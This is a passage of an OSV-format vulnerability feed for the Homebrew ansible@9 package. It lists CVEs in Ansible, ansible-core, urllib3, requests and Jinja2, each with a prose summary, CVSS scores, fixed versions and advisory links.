ed":"9.13.0_4"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.9.27"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"9.13.0","key":"pkg:pypi/ansible@9.13.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"9.13.0","key":"upstream:pkg:pypi/ansible@9.13.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Ansible discloses sensitive information in traceback error message","details":"Ansible is an IT automation system that handles configuration management, application deployment, cloud provisioning, ad-hoc task execution, network automation, and multi-node orchestration. A flaw was found in Ansible Engine's ansible-connection module where sensitive information, such as the Ansible user credentials, is disclosed by default in the traceback error message when Ansible receives an unexpected response from `set_options`. The highest threat from this vulnerability is confidentiality.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2021-3620"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/fe28767970c8ec62aabe493c46b53a5de1e5fac0"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2021:3871"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2021:3872"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2021:3874"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2021:4703"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2021:4750"},{"type":"WEB","url":"https://access.redhat.com/security/cve/CVE-2021-3620"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=1975767"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-4r65-35qq-ch8j"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/ansible/ansible/blob/stable-2.9/changelogs/CHANGELOG-v2.9.rst#security-fixes"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2022-164.yaml"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2023/12/msg00018.html"}]},{"schema_version":"1.7.3","id":"BREW-ansible@9-CVE-2022-3697","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:06Z","upstream":["GHSA-cpx3-93w7-457x","CVE-2022-3697","PYSEC-2026-768"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@9","purl":"pkg:brew/ansible%409"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"9.13.0_4"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"7.0.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"9.13.0","key":"pkg:pypi/ansible@9.13.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"9.13.0","key":"upstream:pkg:pypi/ansible@9.13.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Ansible leaks password to logs","details":"A flaw was found in Ansible in the amazon.aws collection when using the `tower_callback` parameter from the `amazon.aws.ec2_instance` module. This flaw allows an attacker to take advantage of this issue as the module is handling the parameter insecurely, leading to the password leaking in the logs.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2022-3697"},{"type":"WEB","url":"https://github.com/ansible-collections/amazon.aws/pull/1199"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/35749"},{"type":"WEB","url":"https://github.com/ansible-community/ansible-build-data/blob/main/6/CHANGELOG-v6.rst"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2023/12/msg00018.html"}]},{"schema_version":"1.7.3","id":"BREW-ansible@9-CVE-2023-4237","published":"2026-08-13T16:35:23Z","modified":"2026-09-09T23:41:06Z","upstream":["GHSA-ww3m-ffrm-qvqv","CVE-2023-4237","PYSEC-2026-1125"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@9","purl":"pkg:brew/ansible%409"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"9.13.0_4"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","resource":"ansible-core","resource_purl":"pkg:pypi/ansible-core@2.16.14"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible-core","subject_version":"2.16.14","key":"pkg:pypi/ansible-core@2.16.14","resource":"ansible-core"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"9.13.0","key":"upstream:pkg:pypi/ansible@9.13.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Ansible may expose private key","details":"A flaw was found in the Ansible Automation Platform. When creating a new keypair, the ec2_key module prints out the private key directly to the standard output. This flaw allows an attacker to fetch those keys from the log files, compromising the system's confidentiality, integrity, and availability.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:H"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2023-4237"},{"type":"WEB","url":"https://access.redhat.com/errata/RHBA-2023:5653"},{"type":"WEB","url":"https://access.redhat.com/errata/RHBA-2023:5666"},{"type":"WEB","url":"https://access.redhat.com/security/cve/CVE-2023-4237"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2229979"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"}]},{"schema_version":"1.7.3","id":"BREW-ansible@9-CVE-2023-5115","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:06Z","upstream":["GHSA-jpvw-p8pr-9g2x","CVE-2023-5115","PYSEC-2026-1120"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@9","purl":"pkg:brew/ansible%409"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"9.13.0_4"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"8.5.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"9.13.0","key":"pkg:pypi/ansible@9.13.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"9.13.0","key":"upstream:pkg:pypi/ansible@9.13.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Ansible symlink attack vulnerability","details":"An absolute path traversal attack exists in the Ansible automation platform. This flaw allows an attacker to craft a malicious Ansible role and make the victim execute the role. A symlink can be used to overwrite a file outside of the extraction path.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:H/A:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2023-5115"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/1e930684bc0a76ec3d094cd326738ad26416541c"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2023:5701"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2023:5758"},{"type":"WEB","url":"https://access.redhat.com/security/cve/CVE-2023-5115"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2233810"},{"type":"WEB","url":"https://github.com/ansible-community/ansible-build-data/blob/16d36538b96c65d9e0e28d89781361b69857ac0e/8/CHANGELOG-v8.rst#L221"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2023/12/msg00018.html"}]},{"schema_version":"1.7.3","id":"BREW-ansible@9-CVE-2023-5764","published":"2026-08-13T16:35:23Z","modified":"2026-09-09T23:41:06Z","upstream":["GHSA-7j69-qfc3-2fq9","CVE-2023-5764","PYSEC-2026-1122"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@9","purl":"pkg:brew/ansible%409"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"9.13.0_4"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.16.1","resource":"ansible-core","resource_purl":"pkg:pypi/ansible-core@2.16.14"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible-core","subject_version":"2.16.14","key":"pkg:pypi/ansible-core@2.16.14","resource":"ansible-core"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"9.13.0","key":"upstream:pkg:pypi/ansible@9.13.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Ansible template injection vulnerability","details":"A template injection flaw was found in Ansible where a user's controller internal templating operations may remove the unsafe designation from template data. This issue could allow an attacker to use a specially crafted file to introduce templating injection when supplying templating data.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2023-5764"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/270b39f6ff02511a2199505161218cbd1a5ae34f"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/7239d2d371bc6e274cbb7314e01431adce6ae25a"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/fea130480d261ea5bf6fcd5cf19a348f1686ceb1"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2023:7773"},{"type":"WEB","url":"https://access.redhat.com/security/cve/CVE-2023-5764"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2247629"},{"type":"WEB","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/X7Q6CHPVCHMZS5M7V22GOKFSXZAQ24EU"}]},{"schema_version":"1.7.3","id":"BREW-ansible@9-CVE-2024-0690","published":"2026-08-13T16:35:23Z","modified":"2026-09-09T23:41:06Z","upstream":["GHSA-h24r-m9qc-pvpg","CVE-2024-0690","PYSEC-2024-36"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@9","purl":"pkg:brew/ansible%409"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"9.13.0_4"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.16.3","resource":"ansible-core","resource_purl":"pkg:pypi/ansible-core@2.16.14"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible-core","subject_version":"2.16.14","key":"pkg:pypi/ansible-core@2.16.14","resource":"ansible-core"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"9.13.0","key":"upstream:pkg:pypi/ansible@9.13.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Ansible-core information disclosure flaw","details":"An information disclosure flaw was found in ansible-core due to a failure to respect the `ANSIBLE_NO_LOG` configuration in some scenarios. It was discovered that information is still included in the output in certain tasks, such as loop items. Depending on the task, this issue may include sensitive information, such as decrypted secret values.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-0690"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/82565"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/6935c8e303440addd3871ecf8e04bde61080b032"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/78db3a3de6b40fb52d216685ae7cb903c609c3e1"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/b9a03bbf5a63459468baf8895ff74a62e9be4532"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/beb04bc2642c208447c5a936f94310528a1946b1"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2024:0733"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2024:2246"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2024:3043"},{"type":"WEB","url":"https://access.redhat.com/security/cve/CVE-2024-0690"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2259013"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible-core/PYSEC-2024-36.yaml"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/IZQGCRDSZL7ONCULMB6ZUHOE4L44KIBP"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/VDYSWOCPZMNRU5LWKIEBW4WGWLMTU7WQ"},{"type":"WEB","url":"https://security.netapp.com/advisory/ntap-20250117-0001"}]},{"schema_version":"1.7.3","id":"BREW-ansible@9-CVE-2024-11079","published":"2026-08-13T16:35:23Z","modified":"2026-09-09T23:41:06Z","upstream":["GHSA-99w6-3xph-cx78","CVE-2024-11079","PYSEC-2026-1123"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@9","purl":"pkg:brew/ansible%409"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"9.13.0_4"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.16.14rc1","resource":"ansible-core","resource_purl":"pkg:pypi/ansible-core@2.16.14"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible-core","subject_version":"2.16.14","key":"pkg:pypi/ansible-core@2.16.14","resource":"ansible-core"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"9.13.0","key":"upstream:pkg:pypi/ansible@9.13.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Ansible-Core vulnerable to content protections bypass","details":"A flaw was found in Ansible-Core. This vulnerability allows attackers to bypass unsafe content protections using the hostvars object to reference and execute templated content. This issue can lead to arbitrary code execution if remote data or module outputs are improperly templated within playbooks.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:L/I:L/A:L"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:P/VC:L/VI:L/VA:L/SC:L/SI:L/SA:L/E:P"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-11079"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/84299"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/84339"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/2936b80dbbc7efb889934aeec80f6142c10266ce"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/70e83e72b43e05e57eb42a6d52d01a4d9768f510"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/98774d15d7748ebaaaf2e83942cc7e8d39f7280e"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2024:10770"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2024:11145"},{"type":"WEB","url":"https://access.redhat.com/security/cve/CVE-2024-11079"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2325171"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/ansible/ansible/blob/v2.18.1/changelogs/CHANGELOG-v2.18.rst#security-fixes"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2026/03/msg00006.html"}]},{"schema_version":"1.7.3","id":"BREW-ansible@9-CVE-2024-37891","published":"2026-08-13T16:35:23Z","modified":"2026-09-17T17:30:02Z","upstream":["GHSA-34jh-p97f-mpxf","CVE-2024-37891","PYSEC-2026-1995"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@9","purl":"pkg:brew/ansible%409"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.6.0"},{"fixed":"9.6.0_1"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.2.2","resource":"urllib3","resource_purl":"pkg:pypi/urllib3@2.3.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"urllib3","subject_version":"2.3.0","key":"pkg:pypi/urllib3@2.3.0","resource":"urllib3"}]},"summary":"urllib3's Proxy-Authorization request header isn't stripped during cross-origin redirects","details":"When using urllib3's proxy support with `ProxyManager`, the `Proxy-Authorization` header is only sent to the configured proxy, as expected.\n\nHowever, when sending HTTP requests *without* using urllib3's proxy support, it's possible to accidentally configure the `Proxy-Authorization` header even though it won't have any effect as the request is not using a forwarding proxy or a tunneling proxy. In those cases, urllib3 doesn't treat the `Proxy-Authorization` HTTP header as one carrying authentication material and thus doesn't strip the header on cross-origin redirects.\n\nBecause this is a highly unlikely scenario, we believe the severity of this vulnerability is low for almost all users. Out of an abundance of caution urllib3 will automatically strip the `Proxy-Authorization` header during cross-origin redirects to avoid the small chance that users are doing this on accident.\n\nUsers should use urllib3's proxy support or disable automatic redirects to achieve safe processing of the `Proxy-Authorization` header, but we still decided to strip the header by default in order to further protect users who aren't using the correct approach.\n\n## Affected usages\n\nWe believe the number of usages affected by this advisory is low. It requires all of the following to be true to be exploited:\n\n* Setting the `Proxy-Authorization` header without using urllib3's built-in proxy support.\n* Not disabling HTTP redirects.\n* Either not using an HTTPS origin server or for the proxy or target origin to redirect to a malicious origin.\n\n## Remediation\n\n* Using the `Proxy-Authorization` header with urllib3's `ProxyManager`.\n* Disabling HTTP redirects using `redirects=False` when sending requests.\n* Not using the `Proxy-Authorization` header.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:N/A:N"}],"references":[{"type":"WEB","url":"https://github.com/urllib3/urllib3/security/advisories/GHSA-34jh-p97f-mpxf"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-37891"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/40b6d1605814dd1db0a46e202d6e56f2e4c9a468"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/accff72ecc2f6cf5a76d9570198a93ac7c90270e"},{"type":"PACKAGE","url":"https://github.com/urllib3/urllib3"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2024/12/msg00020.html"},{"type":"WEB","url":"https://security.netapp.com/advisory/ntap-20240822-0003"},{"type":"WEB","url":"https://www.vicarius.io/vsociety/posts/proxy-authorization-header-handling-vulnerability-in-urllib3-cve-2024-37891"}]},{"schema_version":"1.7.3","id":"BREW-ansible@9-CVE-2024-47081","published":"2026-08-13T16:35:23Z","modified":"2026-10-20T08:50:36Z","upstream":["GHSA-9hjg-9r4m-mvj7","CVE-2024-47081","PYSEC-2026-1872"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@9","purl":"pkg:brew/ansible%409"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.6.0"},{"fixed":"9.13.0_1"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.32.4","resource":"requests","resource_purl":"pkg:pypi/requests@2.32.5"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"requests","subject_version":"2.32.5","key":"pkg:pypi/requests@2.32.5","resource":"requests"}]},"summary":"Requests vulnerable to .netrc credentials leak via malicious URLs","details":"### Impact\n\nDue to a URL parsing issue, Requests releases prior to 2.32.4 may leak .netrc credentials to third parties for specific maliciously-crafted URLs.\n\n### Workarounds\nFor older versions of Requests, use of the .netrc file can be disabled with `trust_env=False` on your Requests Session ([docs](https://requests.readthedocs.io/en/latest/api/#requests.Session.trust_env)).\n\n### References\nhttps://github.com/psf/requests/pull/6965\nhttps://seclists.org/fulldisclosure/2025/Jun/2","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N"}],"references":[{"type":"WEB","url":"https://github.com/psf/requests/security/advisories/GHSA-9hjg-9r4m-mvj7"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-47081"},{"type":"WEB","url":"https://github.com/psf/requests/pull/6965"},{"type":"WEB","url":"https://github.com/psf/requests/commit/96ba401c1296ab1dda74a2365ef36d88f7d144ef"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-9hjg-9r4m-mvj7"},{"type":"PACKAGE","url":"https://github.com/psf/requests"},{"type":"WEB","url":"https://github.com/psf/requests/releases/tag/v2.32.4"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/requests/PYSEC-2026-1872.yaml"},{"type":"WEB","url":"https://pypi.org/project/requests"},{"type":"WEB","url":"https://requests.readthedocs.io/en/latest/api/#requests.Session.trust_env"},{"type":"WEB","url":"https://seclists.org/fulldisclosure/2025/Jun/2"},{"type":"WEB","url":"http://www.openwall.com/lists/oss-security/2025/06/03/11"},{"type":"WEB","url":"http://www.openwall.com/lists/oss-security/2025/06/03/9"},{"type":"WEB","url":"http://www.openwall.com/lists/oss-security/2025/06/04/1"},{"type":"WEB","url":"http://www.openwall.com/lists/oss-security/2025/06/04/6"}]},{"schema_version":"1.7.3","id":"BREW-ansible@9-CVE-2024-56201","published":"2026-08-13T16:35:23Z","modified":"2026-09-17T17:30:02Z","upstream":["GHSA-gmj6-6f8f-6699","CVE-2024-56201","PYSEC-2026-1472"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@9","purl":"pkg:brew/ansible%409"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.6.0"},{"fixed":"9.13.0_1"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.1.5","resource":"jinja2","resource_purl":"pkg:pypi/jinja2@3.1.6"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"jinja2","subject_version":"3.1.6","key":"pkg:pypi/jinja2@3.1.6","resource":"jinja2"}]},"summary":"Jinja has a sandbox breakout through malicious filenames","details":"A bug in the Jinja compiler allows an attacker that controls both the content and filename of a template to execute arbitrary Python code, regardless of if Jinja's sandbox is used.\n\nTo exploit the vulnerability, an attacker needs to control both the filename and the contents of a template. Whether that is the case depends on the type of application using Jinja. This vulnerability impacts users of applications which execute untrusted templates where the template author can also choose the template filename.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/pallets/jinja/security/advisories/GHSA-gmj6-6f8f-6699"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-56201"},{"type":"WEB","url":"https://github.com/pallets/jinja/issues/1792"},{"type":"WEB","url":"https://github.com/pallets/jinja/commit/767b23617628419ae3709ccfb02f9602ae9fe51f"},{"type":"PACKAGE","url":"https://github.com/pallets/jinja"},{"type":"WEB","url":"https://github.com/pallets/jinja/releases/tag/3.1.5"}]},{"schema_version":"1.7.3","id":"BREW-ansible@9-CVE-2024-56326","published":"2026-08-13T16:35:23Z","modified":"2026-09-17T17:30:02Z","upstream":["GHSA-q2x7-8rv6-6q7h","CVE-2024-56326","PYSEC-2026-1475"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@9","purl":"pkg:brew/ansible%409"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.6.0"},{"fixed":"9.13.0_1"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.1.5","resource":"jinja2","resource_purl":"pkg:pypi/jinja2@3.1.6"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"jinja2","subject_version":"3.1.6","key":"pkg:pypi/jinja2@3.1.6","resource":"jinja2"}]},"summary":"Jinja has a sandbox breakout through indirect reference to format method","details":"An oversight in how the Jinja sandboxed environment detects calls to `str.format` allows an attacker that controls the content of a template to execute arbitrary Python code.\n\nTo exploit the vulnerability, an attacker needs to control the content of a template. Whether that is the case depends on the type of application using Jinja. This vulnerability impacts users of applications which execute untrusted templates.\n\nJinja's sandbox does catch calls to `str.format` and ensures they don't escape the sandbox. However, it's possible to store a reference to a malicious string's `format` method, then pass that to a filter that calls it. No such filters are built-in to Jinja, but could be present through custom filters in an application. After the fix, such indirect calls are also handled by the sandbox.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/pallets/jinja/security/advisories/GHSA-q2x7-8rv6-6q7h"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-56326"},{"type":"WEB","url":"https://github.com/pallets/jinja/commit/48b0687e05a5466a91cd5812d604fa37ad0943b4"},{"type":"PACKAGE","url":"https://github.com/pallets/jinja"},{"type":"WEB","url":"https://github.com/pallets/jinja/releases/tag/3.1.5"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2025/04/msg00022.html"}]},{"schema_version":"1.7.3","id":"BREW-ansible@9-CVE-2024-8775","published":"2026-08-13T16:35:23Z","modified":"2026-09-09T23:41:06Z","upstream":["GHSA-jpxc-vmjf-9fcj","CVE-2024-8775","PYSEC-2026-1124"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@9","purl":"pkg:brew/ansible%409"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"9.13.0_4"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.16.13","resource":"ansible-core","resource_purl":"pkg:pypi/ansible-core@2.16.14"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible-core","subject_version":"2.16.14","key":"pkg:pypi/ansible-core@2.16.14","resource":"ansible-core"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"9.13.0","key":"upstream:pkg:pypi/ansible@9.13.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Ansible vulnerable to Insertion of Sensitive Information into Log File","details":"A flaw was found in Ansible, where sensitive information stored in Ansible Vault files can be exposed in plaintext during the execution of a playbook. This occurs when using tasks such as include_vars to load vaulted variables without setting the no_log: true parameter, resulting in sensitive data being printed in the playbook output or logs. This can lead to the unintentional disclosure of secrets like passwords or API keys, compromising security and potentially allowing unauthorized access or actions.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-8775"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/8a87e1c5d37422bc99d27ad4237d185cc233e035"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2024:10762"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2024:8969"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2024:9894"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2025:1249"},{"type":"WEB","url":"https://access.redhat.com/security/cve/CVE-2024-8775"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2312119"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-jpxc-vmjf-9fcj"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/ansible/ansible/blob/v2.16.13/changelogs/CHANGELOG-v2.16.rst#security-fixes"},{"type":"WEB","url":"https://github.com/ansible/ansible/blob/v2.17.6/changelogs/CH